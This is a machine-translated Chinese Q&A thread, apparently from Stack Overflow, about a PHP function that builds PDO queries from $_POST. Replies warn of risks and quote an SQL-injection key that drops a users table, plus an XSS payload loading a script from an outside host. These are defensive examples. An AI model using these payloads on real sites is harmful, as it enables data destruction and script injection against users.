PHP通过$\u POST global循环自动生成PDO语句的参数

PHP通过$\u POST global循环自动生成PDO语句的参数,php,function,pdo,Php,Function,Pdo,我在下面编写了这个函数,以从$u POST global返回可以在PDO语句中使用的值。如果这是一个好方法,我只想得到一些建议。我知道“内爆”部分可能不是很灵活,但我想知道如何改进。非常感谢您对逻辑和功能的任何帮助。 谢谢 你根本没有消毒钥匙。如果数组元素是: array( "foo = ''; DROP TABLE users; --" => 'baz' ) 这就给SQL注入留下了很大的空间。您保留了这些值,但作为回报,您盲目地将未初始化的键连接到查询中 您还将数组值内插到单个

我在下面编写了这个函数,以从$u POST global返回可以在PDO语句中使用的值。如果这是一个好方法,我只想得到一些建议。我知道“内爆”部分可能不是很灵活,但我想知道如何改进。非常感谢您对逻辑和功能的任何帮助。 谢谢


你根本没有消毒钥匙。如果数组元素是:

array(
    "foo = ''; DROP TABLE users; --" => 'baz'
)
这就给SQL注入留下了很大的空间。您保留了这些值,但作为回报,您盲目地将未初始化的键连接到查询中


您还将数组值内插到单个字符串中;当它们最初是一个数组时,您真的想将它们作为单个值插入吗?

如果不清楚(因为这是我想到的第一件事),您的用户可以将表单更改为:

<input name = "foo = ''; DROP TABLE users; --" value = 'baz'>

此外,您非常容易受到XSS攻击。如果有人输入以下值,该怎么办:

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>


然后,进入可以读取用户输入的页面的每个人(最重要的是,您)都将加载
xss.js
。这是非常危险的,我建议制定严格的消毒规则。编辑:通常应该使用,但仅在输出数据时使用,如中所示。但是,如果您正在接受html,这是一个很好的库。

如果您使用白名单而不是黑名单,您可以轻松地使其更加安全。感谢您的反馈。是,我想插入逗号分隔的列表。。即使在使用准备好的语句时,我真的需要清理这些值吗?感谢您需要清理密钥,因为您无法准备密钥。通常插入逗号分隔的列表表示数据库设计不好,尽管我们需要更多关于用例的信息,然后才能对此做出更好的说明。此外,正如@deceze所指出的,您需要对密钥进行消毒。您对值的处理还可以,但对键的处理却不行。错了!您应该根据上下文按原样正确地输入脚本标记。唯一需要HTML净化器之类的东西的情况是当您的输入是HTML时(一般来说,wysiwyg编辑器)。即使在这种情况下,当你在html上下文中输出它时,而不是当你在数据库中输入它时,也会发生这种情况。我只知道html净化器是用于html的,我只是不知道当我回答时我在想什么。。。我刚刚学习了如何在显示输出时净化输出,感谢您让我成为一名更好的程序员@DavidMulder,我编辑了您的建议。还有什么需要改进的吗?
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>